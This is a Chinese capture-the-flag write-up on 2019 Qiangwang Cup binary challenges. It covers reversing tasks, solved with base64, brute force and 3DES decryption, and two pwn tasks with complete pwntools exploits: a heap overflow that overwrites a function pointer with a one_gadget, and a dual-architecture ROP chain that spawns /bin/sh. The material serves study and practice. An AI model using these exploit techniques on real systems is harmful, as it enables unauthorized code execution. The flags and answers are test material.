CTF比赛 January 03, 2020

强网杯二进制部分wp

Words count 68k Reading time 1:02 Read count 0

一、逆向:

1、task_main(强网先锋)

分析算法可知是base64加密:

提取字符,’ZmxhZ3ttYWZha3VhaWxhaXFpYW5kYW9ifQ==’

直接在线解密:

1
flag{mafakuailaiqiandaob}

2、JustRe:

进入主逻辑,分析程序:

这里可知道有2关,先看第一关:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
signed int __usercall sub_401610@<eax>(int a1@<ecx>, int a2@<ebp>)
{
int v2; // edi
unsigned int v3; // eax
int v4; // esi
char v5; // dh
unsigned __int8 v6; // dl
int v7; // eax
signed int v8; // ecx
__m128i v9; // xmm5
char v10; // dl
unsigned __int8 v11; // dh
unsigned __int8 v12; // cl
char v13; // ch
unsigned __int8 v14; // ch
char v15; // dl
unsigned __int8 v16; // dh
signed int v17; // esi
__m128i v18; // xmm0
__m128i v19; // xmm0
signed int v20; // esi
__m128i v21; // xmm4
int v22; // ecx
unsigned __int64 v23; // rax
HANDLE v24; // eax
unsigned __int64 v26; // [esp-54h] [ebp-60h]
__m128i v27; // [esp-20h] [ebp-2Ch]
int v28; // [esp-8h] [ebp-14h]
unsigned __int8 v29; // [esp-2h] [ebp-Eh]
unsigned __int8 v30; // [esp-1h] [ebp-Dh]
int v31; // [esp+0h] [ebp-Ch]
int v32; // [esp+4h] [ebp-8h]
int retaddr; // [esp+Ch] [ebp+0h]

v31 = a2;
v32 = retaddr;
v2 = a1;
v26 = __rdtsc();
v3 = 0;
v4 = 0;
while ( 1 )
{
v5 = *(v4 + a1);
if ( v5 >= 48 && v5 <= 57 )
{
v6 = v5 - 65;
goto LABEL_6;
}
v6 = v5 - 65;
if ( (v5 - 65) > 0x19u )
break;
LABEL_6:
v3 *= 16;
if ( (v5 - 48) <= 9u )
{
v7 = v3 - 48;
LABEL_10:
v3 = v5 + v7;
goto LABEL_11;
}
if ( v6 <= 0x19u )
{
v7 = v3 - 55;
goto LABEL_10;
}
LABEL_11:
if ( ++v4 >= 8 )
{
v8 = 1;
goto LABEL_14;
}
}
v8 = 0;
LABEL_14:
v9 = _mm_shuffle_epi32(_mm_cvtsi32_si128(v3), 0);
if ( !v8 )
return 0;
v10 = *(v2 + 8);
v11 = 0;
if ( v10 >= 48 && v10 <= 57 )
{
v12 = v10 - 65;
v30 = v10 - 65;
goto LABEL_19;
}
v12 = v10 - 65;
v30 = v10 - 65;
if ( (v10 - 65) > 0x19u )
{
LABEL_34:
v17 = 0;
goto LABEL_35;
}
LABEL_19:
v13 = *(v2 + 9);
v29 = v12;
if ( v13 < 48 )
{
v12 = v29;
}
else if ( v13 <= 57 )
{
v14 = v13 - 65;
goto LABEL_24;
}
v14 = v13 - 65;
v30 = v12;
if ( v14 > 0x19u )
goto LABEL_34;
LABEL_24:
if ( (v10 - 48) > 9u )
{
if ( v30 > 0x19u )
v15 = 0;
else
v15 = 16 * (v10 - 7);
}
else
{
v15 = 16 * v10;
}
v16 = *(v2 + 9) - 48;
if ( v16 <= 9u )
goto LABEL_33;
if ( v14 > 0x19u )
{
v16 = 0;
LABEL_33:
v11 = v15 + v16;
v17 = 1;
goto LABEL_35;
}
v17 = 1;
v11 = v15 + *(v2 + 9) - 55;
LABEL_35:
v18 = _mm_cvtsi32_si128(v11);
v19 = _mm_unpacklo_epi8(v18, v18);
v27 = _mm_shuffle_epi32(_mm_unpacklo_epi16(v19, v19), 0);
//到此是转成16进制,可动态调试得知如果看不出来
if ( v17 )
{
v20 = 0;
if ( dword_4053C4 >= 2 )
{
v20 = 16;
v21 = _mm_mullo_epi32(_mm_cvtepu8_epi32(_mm_cvtsi32_si128(v27.m128i_u32[0])), xmmword_404380);//_mm_cvtepu8_epi32(_mm_cvtsi32_si128(v27.m128i_u32[0])是第9第10位输入
xmmword_405018 = _mm_xor_si128(_mm_add_epi32(xmmword_404340, v9), _mm_add_epi32(v21, xmmword_405018));//v9是前八位输入
xmmword_405028 = _mm_xor_si128(
_mm_add_epi32(_mm_add_epi32(xmmword_404350, xmmword_404340), v9),
_mm_add_epi32(v21, xmmword_405028));
xmmword_405038 = _mm_xor_si128(
_mm_add_epi32(_mm_add_epi32(xmmword_404360, xmmword_404340), v9),
_mm_add_epi32(v21, xmmword_405038));
xmmword_405048 = _mm_xor_si128(
_mm_add_epi32(_mm_add_epi32(xmmword_404370, xmmword_404340), v9),
_mm_add_epi32(v21, xmmword_405048));
}
//这是xmm指令,只要系统cpu支持,能执行这个指令,就会执行,否则就执行下面的函数
do
{
*(&xmmword_405018 + v20) = (v20 + v3) ^ (0x1010101 * v11 + *(&xmmword_405018 + v20));//如果执行了xmm指令,就从16的位置开始,继续执行,否则从0的位置开始执行,v20,可以看成下标,v3是前8位输入,v11是第9第10位输入
++v20;
}
//仔细观察会发现xmm指令和do实现的效果是一样的,都是两数相加再亦或,只是速度不一样,好像xmm更快而已
while ( v20 < 24 );
v22 = 0;
while ( *(&xmmword_405018 + v22) == *(&loc_404148 + v22) )//校验
{
if ( ++v22 >= 96 )
{
v28 = 0;
v23 = __rdtsc();
if ( HIDWORD(v23) > HIDWORD(v26) || (v28 = v23 - v26, (v23 - v26) >= 0xFFFFFF) )
MEMORY[0] = 0;
v24 = GetCurrentProcess();
WriteProcessMemory(v24, &DES3, &xmmword_405018, 0x60u, 0);
return 1;
}
}
}
return 0;
}

这里说明下,xmm指令,可以谷歌一波:https://software.intel.com/sites/landingpage/IntrinsicsGuide/#text

这里不做详细说明,能看懂mul,add,xor即可,这里静态分析可以比较难知道程序在干嘛,动态调试一波,我们输入1234567899:

2

动态调试+寄存器的信息,可以知道,这个函数把输入的前10个转成16进制了,前8个经过重叠,变成128位存在xmm5中,第9和第10个输入也重叠变成128位存放于xmm4中,然后对他们进行相加和亦或操作~再检查即可,

从校验那里我们可知道0x405018的值,从而可以逆回去,但是前8位和第九第十位都不知道,那么这里采用爆破的方式,我们通过爆破第九第十位,从0x00到0xFF(256),从而得到满足条件的值,而这个值由于是重叠出来的,那么校验前面的两位如果都相等,那么就是说4个数是相等的。exp如下:

首先取得值

0x405018:0x406113B700110CFFEC92BF7A7DB5962A

0x404148:0x405004A100000278EC81F0E483EC8B55

接着就可以写脚本爆破了:

1
2
3
4
5
6
7
8
9
10
11
_0x405018 = 0x406113B700110CFFEC92BF7A7DB5962A
_0x404148 = 0x405004A100000278EC81F0E483EC8B55
for i in range(256):
a = '%02x'%i
_9_10 = eval('0x' + a*16)
x = hex((_0x405018 + _9_10)^_0x404148)[2:-1]#把0X和末尾的L去掉
#print x
if x[0:2] == x[8:10] == x[16:18] == x[24:26]:
part1 = x[-8:]+'%02x'%i#小端序逆序
print part1
print hex(i)

下面继续分析,进去第二关,发现是汇编语言:

但是这里是错的,动态调试时可以知道,运行到这里就崩了,回去第一关看看:

这里要得到current的process然后再写内存,可以知道是把405018处内容写入到那个DES3那个位置,我们通过前面的405018与404148校验的话,可以知道,正确的405018正是404148处的代码(机器码),那么就是把404148处的代码patch到DES3处的地址处:

耐心点,一点点打,打完F5,DES3那个位置就修补好了,于是得到这个界面:

这里看不出来是什么加密算法,一步步跟踪,sub401500进去,

懵逼树下你和我?!继续进去sub_401250:

这里发现有表格,dword_403148,dword_403748,dword_403848,dword_403348,dword_403548,dword_403248,dword_403448,dword_403648,也就是403148到403848,有8个表,同时观察移位操作,可知是对S盒的引用,

s盒是这个:https://baike.baidu.com/item/S%E7%9B%92

了解了就能猜到是DES加密了,S盒代替是DES算法的关键步骤,这里再仔细分析可以知道是DES3加密,还是ECB模式,(这一切都是猜的,没听错,经验慢慢积累吧)那么我们到一开始的地方:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
v12 = xmmword_4041A8;//v12和v13是秘钥key,可ida提取
v13 = qword_4041B8;
v3 = *(a1 + 10);
v14 = 0;
v11[0] = v3;
(unk_4050F9)(&v20, 0, 64, a2, a3, v10);
do
{
v4 = *(&v25 + a3);
v5 = *(&v26 + a3);
v18 = (*(&v24 + a3) << 24) | (*(&v23 + a3) << 16) | (*(&v22 + a3) << 8) | *(&v21 + a3);
v19 = (v5 << 8) | v4 | ((*(&v27 + a3) | (v28[a3] << 8)) << 16);
sub_401500(&v18, &v17, &v16, &v15);
v6 = v18;
*(&v29 + a3) = v18;
*(&v30 + a3) = BYTE1(v6);
*(&v31 + a3) = BYTE2(v6);
*(&v32 + a3) = HIBYTE(v6);
HIWORD(v6) = HIWORD(v19);
v7 = BYTE1(v19);
*(&v33 + a3) = v19;
*(&v34 + a3) = v7;
*(&v35 + a3) = BYTE2(v6);
v36[a3] = HIBYTE(v6);
a3 += 8;
}
while ( a3 < a2 );
*(&v11[0] + 1) = 0xFACE0987E6A97C50i64;//小端序密文1
v8 = 0;
*&v11[1] = 0x6C97BB90CF0DD520i64;//小端序密文2
*(&v11[1] + 1) = 0xE8A4A67BB0F69090i64;
while ( *(v11 + v8 + 8) == *(&v29 + v8) )//匹配校验
{
if ( ++v8 >= 16 )
return 1;
}
return 0;

可以提取出key = “4146534146434544594358435841434e44464b4443515843”,16进制转成字符:key = ‘AFSAFCEDYCXCXACNDFKDCQXC’,,密文cipher=”507CA9E68709CEFA20D50DCF90BB976C”,直接python解密:

1
2
3
4
5
from Crypto.Cipher import DES3
key = 'AFSAFCEDYCXCXACNDFKDCQXC'
cipher = '507CA9E68709CEFA20D50DCF90BB976C'.decode('hex')
des3 = DES3.new(key)
print des3.decrypt(cipher)

最后是完整的exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from Crypto.Cipher import DES3
_0x405018 = 0x406113B700110CFFEC92BF7A7DB5962A
_0x404148 = 0x405004A100000278EC81F0E483EC8B55
for i in range(256):
a = '%02x'%i
_9_10 = eval('0x' + a*16)
x = hex((_0x405018 + _9_10)^_0x404148)[2:-1]#把0X和末尾的L去掉
#print x
if x[0:2] == x[8:10] == x[16:18] == x[24:26]:
flag1 = x[-8:]+'%02x'%i#小端序逆序
print flag1
print hex(i)
key = 'AFSAFCEDYCXCXACNDFKDCQXC'
cipher = '507CA9E68709CEFA20D50DCF90BB976C'.decode('hex')
des3 = DES3.new(key)
flag2 = des3.decrypt(cipher)
print ('flag{'+flag1+flag2+'}')

最后得到:flag{13242268130dcc509a6f75849b}

在大佬的帮助下,终于复现完了,我tcl。。。

二、Pwn

1、强网先锋:

打开先检查保护机制:

发现保护全开~接着ida分析一波:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
// local variable allocation has failed, the output may be wrong!
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
unsigned int v3; // [rsp+14h] [rbp-Ch]
unsigned __int64 v4; // [rsp+18h] [rbp-8h]

v4 = __readfsqword(0x28u);
init(*(_QWORD *)&argc, argv, envp);
welcome(*(_QWORD *)&argc);
while ( 1 )
{
while ( 1 )
{
menu(*(_QWORD *)&argc);
*(_QWORD *)&argc = "%d";
_isoc99_scanf("%d", &v3);
getchar();
if ( v3 != 3 )
break;
Change();
}
if ( v3 > 3 )
{
if ( v3 == 4 )
exit(0);
if ( v3 == 1337 )
{
huangniu("%d", &v3);
}
else
{
LABEL_15:
*(_QWORD *)&argc = "something wrong!";
puts("something wrong!");
}
}
else if ( v3 == 1 )
{
Get();
}
else
{
if ( v3 != 2 )
goto LABEL_15;
Open("%d", &v3);
}
}
}

通过分析可以知道,有用的3个函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
unsigned __int64 Change()//修改string内容
{
int v1; // [rsp+8h] [rbp-18h]
unsigned int v2; // [rsp+Ch] [rbp-14h]
void *buf; // [rsp+10h] [rbp-10h]
unsigned __int64 v4; // [rsp+18h] [rbp-8h]

v4 = __readfsqword(0x28u);
puts("Please tell me which tickets would you want to change it's owner's name?");
_isoc99_scanf("%d", &v2);
getchar();
if ( v2 > number )
{
puts("sorry you can't change this tickets!");
}
else
{
buf = (void *)*list[v2];
puts("The length of my owner's name:");
_isoc99_scanf("%d", &v1);
getchar();
puts("Give me my owner's name:");
read(0, buf, (unsigned int)(v1 - 1));
puts("OK! I know my owner's new name!");
}
return __readfsqword(0x28u) ^ v4;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
unsigned __int64 Get()//申请堆块大小,输入内容
{
_QWORD *v0; // rax
int v1; // eax
char size[12]; // [rsp+4h] [rbp-1Ch]
void *buf; // [rsp+10h] [rbp-10h]
unsigned __int64 v5; // [rsp+18h] [rbp-8h]

v5 = __readfsqword(0x28u);
if ( (unsigned int)number > 4 )
{
puts("We don't have too much tickets! Bye~");
exit(0);
}
v0 = malloc(0x10uLL);
*(_QWORD *)&size[4] = v0;
v0[1] = &puts;
puts("The length of my owner's name:");
_isoc99_scanf("%d", size);
getchar();
buf = malloc(*(unsigned int *)size);
puts("Give me my owner's name:");
read(0, buf, (unsigned int)(*(_DWORD *)size - 1));
*((_QWORD *)buf + (unsigned int)(*(_DWORD *)size - 1)) = 0LL;
**(_QWORD **)&size[4] = buf;
v1 = number++;
list[v1] = *(_QWORD **)&size[4];
puts("OK! Give you a tickets of your own~");
return __readfsqword(0x28u) ^ v5;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
unsigned __int64 Open()//堆块有puts函数的指针,妙,可以泄露出来~
{
unsigned int v1; // [rsp+4h] [rbp-1Ch]
void (__fastcall *v2)(_QWORD, unsigned int *); // [rsp+8h] [rbp-18h]
unsigned __int64 v3; // [rsp+18h] [rbp-8h]

v3 = __readfsqword(0x28u);
puts("Please tell me which tickets would you want to open?");
_isoc99_scanf("%d", &v1);
getchar();
if ( v1 > number )
{
puts("sorry you can't open this tickets!");
}
else
{
v2 = (void (__fastcall *)(_QWORD, unsigned int *))list[v1][1];
puts("I'm a magic tickets.I will tell you who is my owner!");
v2(*list[v1], &v1);
}
return __readfsqword(0x28u) ^ v3;
}

那么我们gdb调试分析可以知道,堆块的内容大概是什么样子:

可知道:

strcut chunk

{ int size;

string a;

int *puts;

}

那么可以知道,每一次申请,会有一个0x20大小的堆块,存储主要信息,然后有一个自己申请的chunk块(大小可以调整!想到堆溢出)存string,可以看下随便申请2块后的情况:

可以知道,我们change时,只要大小大于0x30,就可以覆盖到下一个chunk块,造成堆溢出,那么来个0x60的大小吧,就可以把下一个chunk的puts指针打印出来,onegadget就有了,接着再次利用这个改写puts指针为onegadget,执行puts即可getshell~

上exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
#coding=utf8
from pwn import *
context.log_level = 'debug'
local = 1
elf = ELF('./task_main')
if local:
p = process('./task_main')
libc = elf.libc
else:
p = remote('39.100.87.24',8102)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

def debug(addr,PIE=True):
if PIE:
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)
gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
else:
gdb.attach(p,"b *{}".format(hex(addr)))

def malloc(size,string):
p.recvuntil("Choice >> ")
p.sendline('1')
p.recvuntil("The length of my owner's name:")
p.sendline(str(size))
p.recvuntil("Give me my owner's name:")
p.send(string)

def put(idx):
p.recvuntil("Choice >> ")
p.sendline('2')
p.recvuntil("Please tell me which tickets would you want to open?")
p.sendline(str(idx))

def change(idx,size,string):
p.recvuntil("Choice >> ")
p.sendline('3')
p.recvuntil("Please tell me which tickets would you want to change it's owner's name?")
p.sendline(str(idx))
p.recvuntil("The length of my owner's name:")
p.sendline(str(size))
p.recvuntil("Give me my owner's name:")
p.send(string)

def exit():
p.recvuntil("Choice >> ")
p.sendline('4')

debug(0xBF2)
malloc(0x30,'aaaa')
malloc(0x30,'aaaa')
change(0,0x60,'a'*72)
put(0)
p.recvuntil('a'*72)
put_addr = u64(p.recv(6).ljust(8,'\x00'))
print "put_addr--->" + hex(put_addr)
libc_base = put_addr - libc.symbols['puts']
one = libc_base + 0x45216
#system = libc_base + libc.symbols["system"]
print "onegadget--->" + hex(one)
malloc(0x30,'aaaa')
malloc(0x30,'bbbb')
payload = 'a'*72 + p64(one)
change(2,0x60,payload)
put(3)
p.interactive()

2、babymimic

一看是静态文件,二话不说,想着直接链子一把搞定,但是32位可以一把嗖,但是64位的不行,怀疑是不是链子太长了,就剪短了(aad rax 1;ret那里直接pop 59到 rax再 ret ),于是getshell,但是怎么实现两个程序都可以打呢?!玄学,这里根据大佬的提示,用add_esp操作,实现一个exp打2个不同位的程序!(师傅还是我师傅,这里我没想到哎),本地搞定了就是远程了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
#coding=utf8
from pwn import *
from struct import pack
context.log_level = 'debug'
local = 1
elf = ELF('./__stkof')
if local:
i = process('./__stkof')
libc = elf.libc
else:
i = remote('49.4.51.149',25391)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

p = ''
p += p32(0x0806e9cb) # pop edx ; ret
p += p32(0x080d9060) # @ .data
p += p32(0x080a8af6) # pop eax ; ret
p += '/bin'
p += p32(0x08056a85) # mov dword ptr [edx], eax ; ret
p += p32(0x0806e9cb) # pop edx ; ret
p += p32(0x080d9064) # @ .data + 4
p += p32(0x080a8af6) # pop eax ; ret
p += '//sh'
p += p32(0x08056a85) # mov dword ptr [edx], eax ; ret
p += p32(0x0806e9cb) # pop edx ; ret
p += p32(0x080d9068) # @ .data + 8
p += p32(0x08056040) # xor eax, eax ; ret
p += p32(0x08056a85) # mov dword ptr [edx], eax ; ret
p += p32(0x080481c9) # pop ebx ; ret
p += p32(0x080d9060) # @ .data
p += p32(0x0806e9f2) # pop ecx ; pop ebx ; ret
p += p32(0x080d9068) # @ .data + 8
p += p32(0x080d9060) # padding without overwrite ebx
p += p32(0x0806e9cb) # pop edx ; ret
p += p32(0x080d9068) # @ .data + 8
p += p32(0x08056040) # xor eax, eax ; ret
p += p32(0x080a8af6) # pop eax; ret
p += p32(11)
p += p32(0x080495a3) # int 0x80


p1 = ''
p1 += p64(0x0000000000405895) # pop rsi ; ret
p1 += p64(0x00000000006a10e0) # @ .data
p1 += p64(0x000000000043b97c) # pop rax ; ret
p1 += '/bin//sh'
p1 += p64(0x000000000046aea1) # mov qword ptr [rsi], rax ; ret
p1 += p64(0x0000000000405895) # pop rsi ; ret
p1 += p64(0x00000000006a10e8) # @ .data + 8
p1 += p64(0x0000000000436ed0) # xor rax, rax ; ret
p1 += p64(0x000000000046aea1) # mov qword ptr [rsi], rax ; ret
p1 += p64(0x00000000004005f6) # pop rdi ; ret
p1 += p64(0x00000000006a10e0) # @ .data
p1 += p64(0x0000000000405895) # pop rsi ; ret
p1 += p64(0x00000000006a10e8) # @ .data + 8
p1 += p64(0x000000000043b9d5) # pop rdx ; ret
p1 += p64(0x00000000006a10e8) # @ .data + 8
p1 += p64(0x000000000043b97c) # pop rax,59
p1 += p64(59)
p1 += p64(0x0000000000461645)


add_esp_0x20 = 0x80a69f2
add_rsp_0x148 = 0x44a699

payload = ''
payload += 0x10C*'A'
payload += 'aaaa'#0x110
payload += p32(add_esp_0x20)32位的ret,占4位
payload += 'aaaa'
payload += p64(add_rsp_0x148)64位的ret,占8位
payload += 'a'*0x14
payload += p#打32位
payload += 'B'*(0x148 -0x14 - len(p))
payload += p1#打64位

i.sendline(payload)
i.interactive()

那么远程的话,发现有个sha256加密,写个脚本爆破:

1
2
3
4
5
6
7
8
def proof_of_work(prefix, target):
        skr = prefix.decode("hex")
        for i in range(256):
                for j in range(256):
                        for k in range(256):
                                r = chr(i) + chr(j) + chr(k)
                                if hashlib.sha256(skr+r).hexdigest() == target:
                                        return (skr+r).encode("hex")

但是成功率很低哎~随意最后能getshell也是随缘和运气的问题,因为这题利用思路比较简单,所以出题人才想着加个密码学sha256。

babycpp等后面的题目

以后再复现~

0%